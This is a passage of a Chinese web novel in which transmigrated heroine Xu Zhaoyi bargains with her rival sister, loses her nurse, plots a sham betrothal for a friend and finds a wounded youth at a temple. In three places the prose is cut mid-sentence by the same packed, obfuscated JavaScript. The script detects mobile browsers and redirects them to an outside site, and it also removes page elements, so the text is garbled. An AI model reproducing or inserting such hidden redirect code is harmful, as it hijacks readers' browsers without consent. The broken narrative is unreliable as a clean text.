“我没有插手阿妹的事情,”他唇边带着抹明晃晃的恶意,“我只是在监视阿妹。” 徐昭意没料到这人这般快应承下来,打了她一个措手不及。 “阿姐意欲何为?”她最终只道。 “阿妹身上藏着一个大秘密。”萧青越意味深长,“我实在好奇......” 在徐昭意警惕的目光中,他掏出蛇纹匣,笑道:“我实在好奇,阿妹小小年纪,是怎么知道此等秘药的?” 徐昭意提起的心骤然放下一半,她抿了口茶,“师父教的。” “尊师可是戎州人?”萧青越问。 徐昭意转着茶杯,没有迟疑地点头,“阿妹上次不是与阿姐说了金银花的来源地吗?” 金银花的来源地?萧青越眯眼笑着,戎州茂泰县乃高家老巢,他不知去过多少次。那周遭确实种满金银花,却不见半株钩吻草。 “阿妹说了金银花来源地,却没说钩吻草来源地。”他学着她转杯,“钩吻草举朝难见几株,阿妹却舍得整盒给我,我可真是感动。” 徐昭意面皮一抽,也学他那样的语气:“阿姐一天才多少时间?大半都用在阿妹身上了,阿妹不送点稀罕物给阿姐,都对不起阿姐的辛勤栽培。” 萧青越身子前倾,还未开口,唇边触及一片温热。 他不自觉抿了一口。 徐昭意盯着他喝下自己递来的茶水,放下茶杯,撑头笑言,“阿姐既已喝了阿妹递来的茶,就暂且休战吧。阿姐答应不再监视阿妹,并告知阿妹白郎君的下落,阿妹就将钩吻草的产地告诉阿姐。” 萧青越深深望她一眼,心底说不上高兴,但到底得尝所愿,便应了下来。 眼看着徐昭意要起身离开,他鬼使神差又说了句:“我还好奇一事,阿妹是从何处得出那首诗的?” 徐昭意身形一顿,她侧眸,唇角勾起一抹不同往常的笑,“自创。” 萧青越哂笑,盯着那抹倩影推门而出,夜间凉风过门而入,吹起颈边发丝,丝丝缕缕落入一双带着薄茧的手中。 “这地方是个人皮戏台,人人领牌子唱戏,谁的牌子更金更贵,谁咿咿呀呀的声音就更大更有分量,所有人都要听这人的咿呀。所以青越呀,阿娘希望你以后能逃离这个戏台子,做个真正的人,而不是为牌子而生的人皮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770938|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她清醒的时候最爱梳他的头发,哼唧唱着:“一梳保平安,二梳保健康,三梳保长寿,四梳保自在......” 阿娘的手有些凉,他却是天生体热,两者中和刚刚好。 他眯眼躺着,周围金银花的苦凉芳香浓郁,浓稠到夏日也得退避三舍。 蝉鸣偷响,光影变化中,金银花香气愈浓,浓到他不适猛咳。 可背后的女人却察觉不到似的,唇边韵律愈发动听,嗓子却是几天几夜唱出来的沙哑,忽高忽低,森森爬进金银花香气中。 “锦瑟无端五十弦,一弦一柱思华年。庄生晓梦迷蝴蝶,望帝春心托杜鹃。沧海月明珠有泪,蓝田日暖玉生烟。此情可待成追忆,只是当时已惘然......” 无端的循坏往复,冰凉指尖摁得人生疼,生生刮出血丝。 “青越乖,别哭,阿娘给你梳头。” “只要疼一下,一下下就好了……” 发根被扯得生疼,意识昏沉间,他耳边的吟诵声仿佛又化为了另一道低婉嗓音,轻轻柔柔似柳絮拂过心尖,“……此情可待成追忆,只是当时已惘然……” 他迷迷糊糊望去,却见高台之上的少女笑得璀璨,黝黑瞳孔内野心勃勃,深深注视着他,似是要将他全盘吸进去。 他的心脏骤然收缩。 窒息感从喉口延伸,一把把拉扯着神经,刺激他睁开眼睛。 萧清越大口呼吸,眼尾艳红逐渐蔓延开来,沾染上整张面孔。 他死死盯着门口,眼神游离一会儿,半响后起身,推门而出。 * 徐昭意回院之后,悬于嗓子眼的心总算慢慢放下来。 她看着迎上来的凝露,不自觉笑起来:“冯嬷嬷回来了吗?” 凝露欲言又止:“回来了。” 徐昭意沉浸在满腔喜悦中,并未注意到凝露的异常,她的语调有些飘,“嬷嬷!我回来了!” 门帘被掀开,走出一个衣着朴素的白胖妇人来。她凝望着徐昭意,眸底含热泪,疾步往前,手臂张开,顷刻又放下,“娘子成大姑娘了,更漂亮了。” 徐昭意一把扑进妇人怀里,仰面使劲蹭蹭,拖着尾音:“嬷嬷这次怎么走了这么久?昭意好想你。” 冯嬷嬷嗅着她身上的凉气,眉头不自觉皱起,“娘子这是去哪儿了?夜晚凉气重,娘子呆久了小心害病!” 徐昭意眨眼,嘻嘻笑道:“嬷嬷放心吧,我没呆多久!” 她挽着冯嬷嬷进内室,向来话少的人一直不停地说:“嬷嬷你知道吗?父亲带了一个人回府,说是我的姐姐。阿娘压根儿没给我生姐姐!” 她抹了把眼睛:“那个所谓的姐姐很邪门,她一来,父亲、娘娘和二殿下都向着她,我做什么都没用......” 冯嬷嬷“哎呦”一声,连连拍着怀里人,喃喃着:“娘子别怕,娘子别怕,嬷嬷回来了,回来了后嬷嬷帮娘子出气......” 她拍着怀里人单薄的脊背,话音一顿,忽而没再说话了。 徐昭意汲取嬷嬷温暖的体温,闭眼依偎了一会儿,突然察觉出一点端倪。 她仰面看着冯嬷嬷,唇边笑意不变,“嬷嬷想说什么吗?” 冯嬷嬷想起自家的糟心事,犹豫许久,终究狠心推开徐昭意,一下跪地磕头,“娘子,老奴家中突发变故,实在无法照料完全,恐耽误娘子起居,故厚颜请辞。这些年承蒙娘子垂怜,这份恩情老奴永世难忘。” 徐昭意盯着跪地的白胖妇人,声音很轻,“冯哥上次的债务,我已经帮他还了。他又欠债了吗?这次需要多少?嬷嬷知道我有很多钱的,不必担心......” “娘子!”冯嬷嬷声音凄厉,“这不是钱的事情。冯哥儿这次进去了,老奴也不奢求让他出来,娘子也千万别救他出来,他该吃点苦头了。可怜我那孙儿,小小年纪娘改嫁、爹进牢,无人教导......老奴害怕他走上冯哥儿的老路啊!” 徐昭意抿唇,执意道:“嬷嬷我有钱的,我可以请上好的奶娘来照顾......” “娘子已经及笄了,再过不久该嫁人了。”冯嬷嬷跪地喃喃,“娘子已经长大了,嬷嬷的孙儿才牙牙学语,嬷嬷的心疼呀!” 徐昭意盯着冯嬷嬷鬓角的白发,以及她卑微跪地的神情。心口窒息感愈来愈重,她不由得往前抓了抓,却抓到了一把虚空。 她是从现代穿来的,曾经哪怕没恢复记忆,也比寻常人待下人更多几分宽容。可如今呢?她却让自小待她如亲女的奶嬷嬷跪地求她? “......我同意了,嬷嬷起来吧,”徐昭意艰难呼吸,“嬷嬷走之前找花尽拿钥匙,想要什么尽管拿。嬷嬷知道我的,若嬷嬷不拿,我送也要给你送过去。” 冯嬷嬷哽咽起身,她递给徐昭意一盏茶,垂头退下,无声掩门。 徐昭意小口饮茶,缓解心悸。再抬眸时,她恍惚看见前世那间空白病房,空荡荡的,在向她发出无声邀请。 哐当一声,织金地毯染茶渍。 16. 高白婚事 “血压一直不稳定......”威严女声语气平静,“医生让我们随时做好准备。” “准备?”男声急促笑了下,“准备再生一个?” “你也可以这么理解。”女声忽而飘了下,“生之前把你的周边处理好,我厌烦莺莺燕燕的味道。” “你身边的呢?”男声随之攀咬。 “一样的。” 监测仪的嘀嗒声规律又平常,门轴转动带起轻微响动,昏沉之际,徐昭意好像闻到一股清淡冷香。 像那个想生二胎的妈妈的味道,她回来了,带着不寻常的温柔凑近自己、注视自己。 这是真的吗?徐昭意突然开始惶恐。 妈妈从未这般温柔地看她……妈妈看她的眼神永远硬邦邦的,像一块大石头直坠而下,沉甸甸的重。 砸得人又闷又疼。 徐昭意难耐地挪动身子,细碎响动后,忽觉一股冷玉似的触感覆盖额头,冷香生暖却又一触即收,好似自己不是她的女儿,而是另一个见不得人的存在。 见不得人、见不得人......是了,自出生起就没怎么出过病房的人,怎么不算见不得人呢?可她明明逃离了那一切,她有了一个阿娘,阿娘待她极好,从不曾嫌弃她身子弱...... 所以阿娘呢?阿娘也要抛弃她了吗? 她倏忽蹙眉,双手无意识巴拉周围物什,指尖触及一个温软东西,便强硬拖过来,狠狠咬下去。 留下印记就不能再走了。 不要再抛弃她了。 “大娘子!” “二娘子!” 二娘子?大娘子?好熟悉...... 徐昭意迷蒙睁眼,眼尾泪花未散,一双琥珀色狐狸眼便直冲眼底。 “可以松开了吗?”那双狐狸眼直勾勾盯着她。 她的牙齿下意识紧了紧,唇舌间仿若软玉生香。她猛然松开唇,一节冷玉飞速擦过唇畔,带来轻微刺痛。 萧青越用绢帕使劲儿擦拭指节,把那处冷白皮擦红后,这才难耐地拢了拢手指,冷脸起身走人。 拖长黑影踩过廊下灯光,割成几块光晕,又渐行渐远,逐渐化为黑点。 徐昭意盯着逐渐聚拢的光晕,神色微动,“你又请阿姐来了?” 花尽惶恐跪地,“奴婢没有请大娘子来,是大娘子听见昭明苑动静,自个儿来的!” 青鹿苑与昭明苑隔着一段距离,按理说,任她如何折腾,她那位姐姐应当也无法知晓。 徐昭意小口抿药,苦涩滋味顺着口腔流进心底,带来无法言喻的战栗感。 “嬷嬷安顿好了吗?”她顿了顿,“不要跟她说我晕倒的事情。” 花尽哽咽应下。 冷香渐渐淡去,徐昭意拭去唇边药渍,克制不住地昏沉睡去。 翌日再醒来时,屋内莫名多了一股子苦味。 徐昭意捏着被衾,直勾勾盯着桌上乌漆麻黑的药汤,垂落散发半遮神色,“这是什么?” “这是青鹿苑那位特意给娘子配的药。”凝露叭叭走来,微笑着端过药碗,“娘子乖,喝药哈!” “给白娘子送信了吗?”徐昭意笑问。 自从阿姐那里打听到白云疏下落后,她就立即派人前去迎接白云疏,连夜送他入戎州。 白云疏出发之前还写了封信,托付她交给白轻落。 她正愁怎么跟白轻落说找到人这件事,闻言立即接了这封信,交给凝露送。 凝露轻哼一声:“当然送了!”手上动作却没动。 徐昭意别过眼,不言不语。 “娘子......”凝露拖长尾音,眼眶乍然红了一圈,“您就当为了奴婢,也喝几口吧,这段时日您总是病倒,奴婢怕您与夫人一样!”她猛然住口,端碗的手臂颤动。 徐昭意拗不过她这副神色,到底问道:“你什么时候这么信任她了?她开的药,你也敢给我喝?” 凝露皱眉瞪眼,囔囔道:“还不是娘子您太不省心?奴婢才送完冯嬷嬷,在她面前发一百个毒誓证明自己照顾得了娘子,结果娘子转头便病倒了?若不是青鹿苑那位临行前唤奴婢过去,将娘子症状和对策与奴婢详讲了一通,奴婢还不知如何是好呢!” “阿姐走了?”徐昭意怔神。 “青鹿苑那位说是要去祭祀外祖......听说她的母亲早逝,是被外祖家拉扯大的。她被寻回来前,外祖与外祖母早已逝世,她外祖家中又无男丁,便只剩她一人在阴山讨生活。”凝露一边小心喂药,一边凝神细想,“再具体的事儿,奴婢不好打听,便没再问了。” 她顿了下,突然一叹,“到底也是个可怜人。” 徐昭意没滋没味地咽药,只觉得今个儿的特制药格外苦涩。 “她是故意的。”她忽然道。 她不让她监视她,她就跑去阴山祭祖。 这般行事倒是轻便。 凝露懵逼看去,就见自家娘子突然拽着自己的衣袖,吐吐舌:“我也很可怜,这药苦兮兮的。” “娘子这话说的。”凝露哭笑不得,顷刻又满面严肃,“娘子一点也不可怜,娘子有夫人和梅家疼爱,有嬷嬷和奴婢敬重,娘子是京城最幸福的小娘子。” 徐昭意见她一副立誓模样,恍惚又回到过去时候,阿娘总会强调她是全京城最幸福的小娘子,连带着冯嬷嬷和凝露也常常将这句话挂嘴边。 “好凝露,”徐昭意眨眼啃蜜饯,“我开玩笑的。” 凝露看着捧着蜜饯吃得不亦乐乎的娘子,心底徒然泛起一股复杂情绪。 娘子今日是怎么了?一夜之间又仿佛回到了孩童时候。那时候夫人还在世,娘子也是这般日日笑着,可爱极了。 可自从夫人逝世后,娘子便一夜长成大人,再难见这副模样了。眼下生病却徒然显出这般天真神态,也不知是好是坏。 * 凝露走后,徐昭意倚塌闭目,肃神问任务系统:“原书里的女主也是这时候回家祭祀外祖吗?” 【按照原书剧情,女主这时候还深陷男二男三的争夺中。经过一段时间的较量,男二不甘未婚妻青睐他人,便在男三妹妹的婚礼上捣乱,导致高白两家互生罅隙,高家公子昏迷不醒。女主愧疚之下便去清正寺散心,结果捡到了受伤的男四。】 “可现在端贵妃醒后,二殿下便再没出过宫门;所谓的男三其实是个姑娘,男三妹妹婚礼更是扯谈;高家公子更是活蹦乱跳,听闻陛下都牵挂起了他的婚事。原剧情真的真实吗?”徐昭意面无表情。 任务系统沉默一会儿,电流嗞嗞响。 【崩坏循环小世界是这样的,内里bug较多,与原剧情不能很好贴合。但是重要节点是不会变的,比如下一个重要节点是女主捡男四,无论女主现在去哪里,那日她都会准时出现去捡受伤的男四。】 “捡到男四是哪一天?”徐昭意若有所思。 【四日后。】 徐昭意笑了。姐姐外家在阴山,从京城到阴山少不得半月路程,现在任务系统跟她说姐姐四日后就回来? 【不是回来,是去清正寺。】系统纠正。 清正寺就在京城郊外,徐昭意懒得跟系统掰扯,便径自睡过去了。 她还没睡多久,就被一道努力压制但显然没成功的响动声吵醒了。 无奈一叹,徐昭意悠悠睁眼,就见卢平丹毛茸茸的脑袋在眼前晃,边晃还边喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782630|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃。 “昭意我想明白了,臭男人算什么,也配我为他劳心费力。昭意你不提前跟我说是对的,就我这大咧性子,保不齐真会露出破绽,所以你别昏过去了呀,你快醒醒呜呜呜......” 眼见卢平丹要水漫金山,徐昭意用力扯住她的衣袖,将她拭泪的手臂扯下来,“你再仔细看看呢。” “昭意妹妹醒了哈哈哈!” 浓郁芙蓉花香扑鼻而来,徐昭意捏住鼻子,将卢平丹往外推,“你也太香了吧。” 卢平丹讪讪一笑,“我这不是难受嘛,没忍住就多熏了些。” 她默默坐远了些,又道:“昭意我跟你说,高白结亲被毁后,京城里徒然多了不少乐子!” 徐昭意见她那狡黠模样就知没好事,便也好奇道:“发生了何事?” “话说高白两家结亲只是两家事,结亲被毁也只是两家颜面过不上去,可因着一个人物,这件事的严重性便上升了几个度!”卢平丹摇摇手指头,“你猜这个人物是谁?” 徐昭意心底隐有猜想,面上只是附和:“是谁?” “是大名鼎鼎的太子殿下!”卢平丹语速飞快,“因太子没回京续职一事,京中本就有部分大臣不满,认为陛下不重嫡长,轻视老祖宗传下来的规矩。现下太子母族的旁支,也就是高家郎君好不容易娶亲,新娘子却被人劫走了!在那些大臣看来,那就是二殿下一派的人在公然挑衅!是以他们要求彻查此事,还高家和白家一个公道。” 她边说边笑:“你说这事好笑不?他们竟以为是二殿下干的!咱们与二殿下也算自小一块长大的了,我敢打包票,二殿下没那个胆子。” 徐昭意不轻不重敲她一下:“得亏是在我这处说,你这些话但凡有一丝泄露在外,便是不敬陛下的大事,会牵连家族的。” 卢平丹捂着脑袋,嘻嘻笑道:“这不是知道在你这处嘛!” 徐昭意没好气道:“你向来是不关注这些朝堂之争的,这次又是偷听谁讲话了?” 卢平丹眨眼,“高白两家的动静还是蛮大的,我去二哥院子找他,让他紧着点皮别泄露时,就听见爹爹语重心长地跟他说这些事情。我估摸着是在试探二哥,看他有没有参与其中,便一骨碌跑你这来了。” “合着我这成你避难所了。”徐昭意哭笑不得。 卢平丹恼羞之下起身作弄她,两人闹得两眼冒泪花,纷纷作揖讨饶。 眼见着时间差不多,卢平丹一步三回头地回府,走之前还从她这处顺了几颗玉露团。 寝居终于恢复寂静,徐昭意长舒一口气,思绪还停留在卢平丹方才的一番话上。 区区两个中小家族的联姻,竟会惊动整个朝堂。看来暗中同情并支持太子的人仍然很多。 照这个趋势下去,圣上很快就会立案调查。卢平丹不知其中轻重,她却是知晓的。 若是一朝不慎查到她们身上,对徐家和卢家都有着极大影响。 但是......她一想到两派纷争,以及圣上多疑的性子,唇角不自觉勾了勾。如果没猜错的话,圣上应当会选白轻落查案。这般一来,大家都可相安无事。 还是得等白轻落的情报。 这一等便等到暗夜,徐昭意斜靠在美人塌上,细致拆开手中密信。 事情如预想的那般进行着,白轻落择替罪羊结案,对贵妃一派轻拿轻放。 贵妃对她青睐有加,她在贵妃一派的地位直线上升,想来再立一功便可进入政事堂。 徐昭意刚露出点笑意,下一瞬便瞪大眼眸,手中密信随之而落,露出一句—— 卢娘子欲与我商议婚事,贵妃听闻后大力支持,笑言此事若成,即刻便下懿旨。 17. 踏青相亲 凉亭雨声淅沥,清幽花草香,正是汇祥阁顶楼景象。 “你们俩要定亲?”徐昭意咬着玉露团,浓郁奶香也无法平息心底的荒谬感。她放下玉露团,瞪着卢平丹,“你不准备嫁人了?” 卢平丹摸摸脑袋,笑容憨厚,“其实嫁人也没甚么好的,困顿于宅院相夫教子,那还不如让我去死......” “停!”徐昭意及时打断她的话,没好气地瞪眼,“你瞎说什么呢!” 虽说她是从现代穿过来的,可正因为如此,她才对那些看不见摸不着的东西更加恐惧。穿书系统让她意识到,有些东西可能是真实存在的。 卢平丹被她的激烈反应吓了大跳,连忙将求助的目光投向白轻落,“咱们俩昨日不还商议的好好的......” 白轻落略过她的目光看向徐昭意,表情有些微妙,话却是对她说的,“昨日答应你不过权宜之计,我其实也不太赞成你的决定。” 卢平丹一听便撇嘴,转而眼巴巴地看着徐昭意。 徐昭意仔细看了白轻落一眼,没发现什么异常,这才朝卢平丹笑了笑,坚定摇头。 卢平丹气急,又忿忿看向白轻落,“我们两个定亲可以打消贵妃娘娘对你迟迟不肯与文小娘子定亲的顾虑,还能顺势消除以后你在朝堂上的阻碍!这可是咱们两人昨日就商议好的内容,你竟然临时反悔?” 眼看着卢平丹只对她发脾气,却不说徐昭意分毫。白轻落垂下眼皮,淡淡道:“你跟我定亲,只对我有利,那你呢?你说你向往自由,但你跟我定亲还不是从一个牢笼跳往另一个牢笼?” 卢平丹气急败坏,“咱们先前商议的时候怎么不见你说这话呀!” 白轻落扫过淡定喝茶的徐昭意,面色有些无奈,“先前我只说考虑考虑,没说就这么答应你。卢家家风挺好的,你便是在老家呆成老姑娘,也不会比跟我定亲结局更差。” 卢平丹急得干瞪眼。 徐昭意终于放下茶盏,逼问道:“你说你不想困顿于宅院,那你想干什么呢?当今世道就是这样子,看似宽松,实则还是会把你逼回原地。若是循规蹈矩的话,你最好的结局就是嫁一个边防将领,从此能比京城闺秀更自由些。但相应的,那边环境也很苦很苦。” “循规蹈矩......”卢平丹喃喃着。 “我想像阿姐一样上战场,哪怕死在上面。从小我的武功就是阿姐教的,我们练的都是卢家心法,使的是卢家刀法,为何兄长他们就能走遍大江南北剿匪,而我只能被阿娘没收刀剑?明明阿娘年轻时也杀过不少人!” 自她做出与白轻落定亲的决定来,她把父母兄长的欢欣鼓舞都看在眼里。他们是多么害怕自己成为第二个阿姐,害怕到至今不敢让她拿刀。 明明姐姐曾说过:“丹丹的天分比阿姐还高,假以时日定能将卢家心法练至大成。” 徐昭意忍住鼻尖酸涩,慢慢笑出来:“你可以定亲,但是你得知道自己的定亲是为了什么。你不是为了从一个牢笼跳到另一个牢笼,而是为了麻痹那些人,潜伏不发以待时机。” 她好似是对着卢平丹说的,又好似是对自己说的。 卢平丹一激动,连忙扑向徐昭意,窝在徐昭意怀里嚷嚷:“我就知道昭意对我最好了!” 两人照常嬉戏打闹,看起来没被先前的不愉快影响分毫。 白轻落深深看她们一眼,沉默地递出两杯青梅酒。 “既然咱们都商议好了,那就庆祝一下,喝两杯吧。” 卢平丹率先抢过酒杯,与两人比起酒量来。 徐昭意酒量一般,醉酒后必昏睡。再醒来时,卢家邀请她去清平寺踏青的请柬已经置于桌案,时间正是四日后。 “这就是不可抗力嘛......”徐昭意喃喃道。 知晓四日后清平寺会有剧情关键点后,她什么都没做,只静候上天的反应。没成想这么快,机会就送过来了。 徐昭意笑了笑,唤人将窗前积雪清扫干净。厚重雪堆散尽后,露出一株蔫了吧唧的青黄小草。 融融暖阳洒下光辉,短短四日,窗前小草渐渐挺直脊背,重新骄傲屹立着。 徐昭意特意往低调打扮,略施薄粉后,便拢着件素白披风出门了。 因着卢家有求于她,卢家马车大早便停在徐国公府门口,悄悄等着徐昭意。 徐昭意冲前头的卢将军夫人许氏福了一礼,随后提裙蹬上卢平丹那辆马车。 卢平丹正挪着手指左顾右盼,眼见徐昭意来了,一双杏眼闪亮盯她,宛若见救星。 “昭意妹妹你终于来了!”她猛扑过来,拖长调子,“等会就要与白姐姐会面了,我该怎么办啊?” 她在爹娘哥哥们面前装作对白轻落一往情深的样子,撒泼打滚才求来了这门婚事。若是这次会面被他们看出个好歹来,那所有筹谋就全泡汤了! “没事,有我在。”徐昭意冷静安慰,“你等会儿少说点话就行了,剩下的我来帮你圆。” 卢平丹对徐昭意的能力向来放心,她得了允诺,便将此事抛之脑外,反而乐呵呵地看着徐昭意。 “话说你这日子也潇洒,你姐姐走了,徐伯父也忙,这偌大的徐国公府只你一个正经主子诶!” 卢将军府人口多,卢将军是府中大爷,可府中老太君更偏爱小儿子,时常叫卢将军帮衬二爷。偏偏二爷烂泥扶不上墙,给的机会从来抓不住,还怨恨哥哥不帮他,连累整个二房和老太君都对大房有微词,搞得卢家后宅乌烟瘴气。 因此卢平丹很羡慕家中人口单薄的徐昭意。 徐昭意一想到卢家的各种事端,心底那点孤独感顿时消散。她摸了摸鼻子,也应道:“人少虽说冷清,到底比过分热闹好。” 她着重强调了“过分”二字,两人对视一眼,纷纷笑出声来。 前几日卢家二房又出幺蛾子了,她们见大房这位泼皮猴似的二娘子与未来前途无量的翰林学士定亲,一个个面上堆笑暗地咬牙,自作聪明闹到老太君面前,叫老太君也给她们找几个好夫家。 老太君刚面色严肃地训了卢平丹几句,身后的许夫人便轻飘飘地开口:“白郎君待人体贴,先是派人询问了丹姐儿的意见,后又主动邀请我们踏青,说是尘埃落定后便用功勋求来贵妃娘娘懿旨。” 老太君登时掩旗息鼓,装模做样地喝茶闭目,没多久又睁眼起来骂了二房最小的庶女。 那庶女生母不得宠,没人为她撑腰,被骂了也只能喏喏称是。 卢平丹向来看不得这事,草草行礼告辞,临行前还把庶女拽走了。 “我那位祖母眼界忒窄,”卢平丹托腮叹气,“把我打压下去又什么好处吗?至于这般针对我?都说家和万事兴,虽说我无心嫁娶,可正常来说,姐妹之间有谁嫁好了,才能更好地帮衬对方啊!” 徐昭意莫名想到她那个庶姐,其实卢平丹说得对,姐妹之间的事情真闹大了,对谁都不好,还不如一笑泯恩仇,来日互相帮衬。 那双阴郁又欠揍的狐狸眼在脑海里晃了又晃,她倏忽笑了。 “你笑什么?”卢平丹狐疑道。 徐昭意眨眼,认真道:“有没有可能,你家二房那些人知道这背后利害,但就是看你不顺眼,不想你好过呢?有些人就是拼着自己不好过,也得把人拉下马的。” 马车乍然停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790734|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,眼见清正寺到了,卢平丹只好草草嘀咕道:“这是什么失心疯呢?” 徐昭意束好披风,深以为然:“有些人就是天生的失心疯。” 两人携手往清正寺而去,前边许夫人正向两人招手。她一把拉过徐昭意的手,瞥过卢平丹一眼,细细叮嘱:“叔母将丹姐儿交给昭姐儿了,昭姐儿也无需做什么,管好丹姐儿的嘴就好。” 卢平丹瞪眼,又被许夫人瞪回去。 徐昭意吃吃一笑,随即应下。 两人还未离开,身后又传来一阵哒哒声。放言望去,却见两位风流倜傥的郎君骑马而来,一左一右护着一辆马车。 马车缓缓停下,走出一位朴素却端庄的妇人。 “可是白夫人?”许夫人含笑见礼。 “许夫人安好。”白夫人不复先前刻薄,此时柔和看向卢平丹,宛若无事发生,“这可是贵府娘子?瞧着便是福相,叫人一见欢喜。” 许夫人压下笑意,转而看向下马的两位郎君。 两人皆一表人才,只右边人略矮,但衣袂飘飘、鹤立松庭,瞧着一副仙人相。左边人玉树临风、身姿修长,瞧着端正凌厉些。 “两位郎君皆是龙章凤姿,恕妾身眼拙,不知二位贤侄中,哪位是常听夫人提起的麟儿?” “是妾身疏忽了,这是犬子轻落,旁边是轻落的翰林院同僚周恒郎君,今日特来作陪。” 语锋来回间,卢平丹险些笑出来,却被徐昭意一下把笑意掐回肚。 许夫人斜瞥自家女儿一眼,盈盈提议:“不若我二位去一旁闲聊,放孩子们自行游玩?” 白夫人欣然应下,四人这才结伴而行。 后山残雪未消,斑驳覆在松枝上。几个小沙弥提水桶踩过雪泥小径,水面浮着几片冻住的菜叶,随脚步晃出细碎的响。 卢平丹有一搭没一搭地踩着小沙弥留下的脚印,踩出菜叶轻晃的同样声响。她余光瞥过周恒,那人面色古井无波,一点也没有自觉离开的意识。 他不离开,她就没法跟白轻落演戏,也没法跟偷偷跟在后头的阿娘解释! 这般想着,她将求助目光投向徐昭意。 徐昭意用绢帕擦拭纤细指尖,缓缓伸手,在众人不注意时擦过眼尾,留下长长一道红痕,再一眨眼时,泪珠滚滚而落。 “我可以暂且离去一下吗?”她声音低柔,“我想给外祖上一炷香。” 白轻落连声应好,她身旁的周恒看她一眼,眼睫微垂,没多久也请辞离去。 卢平丹余光瞥过身后小尾巴,冲白轻落笑得不怀好意。 白轻落瞟她一眼,跟着她的方向顺从离去。 另一边提前离开的徐昭意漫步在残雪小道上,缓缓往往生殿走去。 梅相门生满天下,他辞世之时,满京才子并徐国公府合力出钱,为他在清正寺修了一个永久的往生碑位。 梅相骨灰葬在江南水乡的老家,徐昭意不便前往祭拜。每每想外祖之时,她便会前往往生殿,聆听一日的僧人诵经。 低沉梵音似水起伏,徐徐灌进她的耳中。往生殿近在眼前,她正准备提裙疾走时,冷漠的任务系统音响起。 【请宿主完成“莫欺少年穷,救命之恩,以身相许”任务,获得未来内卫首领效忠。】 【检测到受伤男四,请宿主将他带回家治疗。】 【少年穷系列任务一:诱惑男四跟女二回府,进度条:10%】 她长舒一口气,缓缓退回松树林,再僵硬转头。 只见洁白雪面上汇聚大滩暗红血渍,血流最集中、红得最艳的地方,赫然躺着一个贴着赤狐面,穿着暗红胡服的少年郎。 18. 救人风波 徐昭意凑近一瞧,面前少年郎腰间配着一把套着牛皮革鞘的刀,墨发凌乱、鬓角带汗,嫣红唇畔泛白紧抿,一张赤狐面具遮了大半面容。 她心生好奇,细白指尖才碰到面具边缘,一股大力几乎要将她手腕捏碎。 “别......碰!”沙沙的少年音,很好听,只是又昏过去了。 与此同时,任务系统也发出激烈警报。 【警告!警告!请宿主及时停止危险行为!】 【若宿主再做此行为,将会有电击惩罚!】 徐昭意低垂眉眼,掩住眸底一闪而过的杀意。她收回被攥住的手腕,瞥了眼,又是深红肿痕。 “我这才走了多久,你怎么就触碰红牌警告了啊啊啊!”系统突然出现,鬼哭狼嚎,“我的积分被罚了一千!” “红牌警告?”徐昭意面无表情提问。 “红牌警告几年难得发一回,大都是宿主做出严重篡改剧情的行为,主系统才会判。宿主你到底干什么了啊?连红牌警告都被你碰上了?” 徐昭意捏紧手腕,剧烈疼痛刺激下,她面不改色道:“我就碰了下他的面具。” 系统也没见过这场面,它一下顿住:“这......啊啊啊!宿主快给男四止血啊!他快流血身亡了!” 徐昭意松开手腕,仔细瞧了下面前少年的伤势。背部都有刀伤,切口极深、血流不止,但死不了人。 她又伸手抚向少年大腿,内侧布料较其他地方墨色更深,隐约可见翻飞血肉。 细白指尖无意识在伤口边摩挲,引起指下肌肤自然战栗。 她蹙眉许久,贝齿轻咬,终究下定决心。 她先是将袖中的丝绸绢帕全部掏出来,挨个折叠。 然后掰过少年大腿,慢慢凑过去,与伤口持一拳距离,将手中的折叠绢帕缓慢又细致地塞进伤口,慢慢填补沟壑。 最后扎紧伤口近心端,收手。 细白指尖无可避免沾染暗红血渍,徐昭意拭去额间薄汗,啧了一声,打量两眼少年蜷缩在地的姿势,不满蹙眉。 下一秒,她用力推人,直将少年翻了个面,暗红胡服破烂不堪,露出形状狰狞又极深的背伤。 她故技重施,奈何绢帕有限,他背部的伤口又极多,一时半会儿她竟找不到其他的止血用品。 “宿主别愣着啊!男四的生命特征正在下降!”系统音尖声惶恐。 徐昭意左右四顾,往生殿附近连个小沙弥也没有,也不知是不是剧情的安排。 “你不是说男四会被女主捡起吗?女主呢?”她冷不丁问道。 “我只是个维修系统,不是女主的定位系统。我只知道女主绝对在旁边,但不知道她具体在哪里。”系统欲哭无泪,“宿主别想那些有的没的了,赶紧救人吧!” 徐昭意深呼吸,带着血渍的指尖抚上腰间系带,轻轻一扯,鹅黄交领散开,露出雪白中衣。她眼下却管不得自己的狼狈样子,只得将沾血系带如法炮制,将少年伤口细致填好。 